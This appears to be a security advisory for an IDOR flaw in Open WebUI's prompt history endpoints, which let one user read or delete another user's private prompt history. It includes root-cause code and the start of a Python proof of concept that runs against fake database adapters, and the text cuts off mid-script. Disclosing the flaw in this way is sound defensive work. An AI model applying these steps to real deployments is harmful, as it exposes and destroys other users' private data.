Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion
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- Global (internet)
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- cyber_advisory · pip
## Summary Open WebUI's prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected: - `GET /api/v1/prompts/id/{prompt_id}/history/diff` — returns another prompt's history snapshots (read). - `POST /api/v1/prompts/id/{prompt_id}/update/version` — restores another prompt's snapshot into the caller's prompt, exposing its content (read). - `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` — deletes another prompt's history entry (delete). An authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user's private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not. ## Impact Security boundary crossed: prompt confidentiality and integrity. Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure. ## Root Cause The route checks read access only for `prompt_id`: ```python # backend/open_webui/routers/prompts.py prompt = await Prompts.get_prompt_by_id(prompt_id, db=db) ... if not ( user.role == 'admin' or prompt.user_id == user.id or await AccessGrants.has_access( user_id=user.id, resource_type='prompt', resource_id=prompt.id, permission='read', db=db, ) ): raise HTTPException(...) ``` But the authorized prompt ID is not passed into the diff sink: ```python # backend/open_webui/routers/prompts.py diff = await PromptHistories.compute_diff(from_id, to_id, db=db) ``` `compute_diff()` fetches both history entries globally by ID and returns their full snapshots: ```python # backend/open_webui/models/prompt_history.py result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id)) from_entry = result_from.scalars().first() result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id)) to_entry = result_to.scalars().first() ... return { 'from_snapshot': from_snapshot, 'to_snapshot': to_snapshot, ... } ``` There is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`. The same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`: ```python # backend/open_webui/models/prompts.py — update_prompt_version history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session) ... prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt prompt.version_id = version_id ``` `DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`: ```python # backend/open_webui/models/prompt_history.py — delete_history_entry result = await db.execute(select(PromptHistory).filter_by(id=history_id)) entry = result.scalars().first() ... await db.delete(entry) ``` Neither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id → 404`); these three endpoints were missing it. ## PoC ```python #!/usr/bin/env python3 """ PoC for prompt history diff IDOR. The PoC executes: - the real routers.prompts.get_prompt_diff() route function - the real PromptHistories.compute_diff() implementation Fake model/DB adapters are used only to avoid requiring a running server. The security-sensitive behavior under test is that the route authorizes the prompt ID in the URL, then computes a diff for arbitrary history IDs without checking that those history rows belong to the authorized prompt. """ from __future__ import annotations import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace def prepare_imports() -> None: repo_root = Path(__file__).resolve().parents[1] sys.path.insert(0, str(repo_root / "backend")) os.environ["VECTOR_DB"] = "none" class DummyTyper: def command(self, *args, **kwargs): return lambda fn: fn sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda *args, **kwargs: DummyTyper(), Option=lambda *args, **kwargs: None, echo=lambda *args, **kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None)) class FakeScalarResult: def __init__(self, row): self.row = row def first(self): return self.row class FakeExecuteResult: def __init__(self, row): self.row = row def scalars(self): return FakeScalarResult(self.row) class FakePromptHistoryDb: def __init__(self, rows): self.rows = rows self.calls = 0 async def execute(self, stmt): row = self.rows[self.calls] self.calls += 1 return FakeExecuteResult(row) class FakeDbContext: def __init__(self, db): self.db = db async def __aenter__(self): return self.db async def __aexit__(self, exc_type, exc, tb): return False async def run_real_compute_diff(from_id: str, to_id: str): import open_webui.models.prompt_history as history_module victim_from = SimpleNamespace( id=from_id, prompt_id="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATE_PROMPT_SECRET_V1", }, ) victim_to = SimpleNamespace( id=to_id, prompt_id="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATE_PROMPT_SECRET_V2", }, ) fake_db = FakePromptHistoryDb([victim_from, victim_to]) original_context = history_module.get_async_db_context try: history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db) diff = await history_module.PromptHistories.compute_diff(from_id, to_id) finally: history_module.get_async_db_context = original_context return diff async def main() -> None: prepare_imports() import open_webui.routers.prompts as prompts_router attacker_prompt = SimpleNamespace( id="attacker-prompt", user_id="attacker", ) attacker = SimpleNamespace(id="attacker", role="user") victim_from_id = "victim-history-from" victim_to_id = "victim-history-to" class FakePrompts: looked_up_prompt_ids = [] async def get_prompt_by_id(self, prompt_id, db=None): self.looked_up_prompt_ids.append(prompt_id) if prompt_id == "attacker-prompt": return attacker_prompt return None class FakeAccessGrants: async def has_access(self, *args, **kwargs): return False class FakePromptHistories: compute_diff_calls = [] async def compute_diff(self, from_id, to_id, db=None): self.compute_diff_calls.append( { "from_id": from_id, "to_id": to_id, "authorized_prompt_id_not_passed": True, } ) return await run_real_compute_diff(from_id, to_id) fake_prompts = FakePrompts() fake_histories = FakePromptHistories() original = { "Prompts": prompts_
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